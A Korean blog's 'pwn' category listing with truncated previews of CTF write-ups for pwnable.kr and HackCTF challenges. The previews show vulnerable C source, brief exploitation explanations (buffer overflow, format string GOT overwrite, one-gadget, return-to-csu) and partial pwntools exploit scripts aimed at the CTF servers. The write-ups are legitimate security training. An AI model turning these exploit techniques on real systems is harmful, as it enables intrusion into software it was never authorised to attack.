본문 바로가기

pwn

(96)
random #include int main(){ unsigned int random; random = rand();// random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\n"); return 0; } 랜던 값을 생성하는데 시드값을 설장해주지 않으면 값이 고정되기 때문에 gdb로 값을 얻어 0xdeadbeef와 xor수행
passcode 예전에 작성한 write-up글 https://brain200.tistory.com/27?category=954859
flag UPX로 패킹된 바이너리 풀고 main함수에서 플래그를 얻었다
bof #include #include #include void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme);// smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } 0xdeadbeef인 key를 0xcafebabe로 overwrite하면 된다 from pwn import * p = remote("pwnable.kr", 9000) payload = b"A" * 0x34 payload += p32(0xcafeb..
collision MD5 해쉬 충돌 #include #include unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i
fd 파일 디스크립터에 대해 아냐고 물어본다 ssh로 접속해보면 프로그램, c파일, 플래그 파일이 주어진다 argv[1]을 받아가 0x1234를 빼서 fd에 저장한다 read를 하기 위해서 argv[1] - 0x1234을 stdin으로 만들어주면 된다 (stdin, stdout, stderr 중 아무거나 써도 상관없다...)
ChildFSB 25byte만 가지고 fsb을 통해 익스해야되는 문제이다 fsb가 발생하고 카나리 1byte 덮을 수 있다 첫 fsb에서는 libc_start_main함수 leak하고 stack_chk_fail함수 2byte overwrite해서 다시 main으로 가도록 했다 그담에 onshot가젯으로 libc_start_main got주소 하위 3byte를 덮고 stack_chk_fail함수 got를 libc_start_main plt주소로 덮었다 from pwn import * p = remote("ctf.j0n9hyun.xyz", 3037) #p = process("./childfsb") libc = ELF("libc.so.6") #gdb.attach(p) cnry = 0x601020 start_main = 0x6..
hackCTF / Unexploitable #3 main함수에서 fgets를 통해 입력을 받으면서 bof가 터지고 rdx를 컨트롤할 가젯이 없어 rtc를 사용하기로 했다 leak하기 위해 fwrite을 사용 할 경우 rcx에 stdout의 주소를 pop rdi 가젯과 magic의 mov rcx, [rdi]를 차례대로 사용해 인자를 설정해주었다 뭐에 홀려서 그랬는지 모르겠는데 0x90다음에 0x100으로 넘어가는걸로 헷갈려서 0xa0만큼의 데이터만 사용해서 문제를 풀었다… ( ㅂㅅ쉨;) 지금 write up을 쓰면서 보니까 leak하고 다시 fget할 만큼 데이터를 충분히 받을 수 있었다... from pwn import * #context.log_level = 'debug' p = remote("ctf.j0n9hyun.xyz", 3034) #p = p..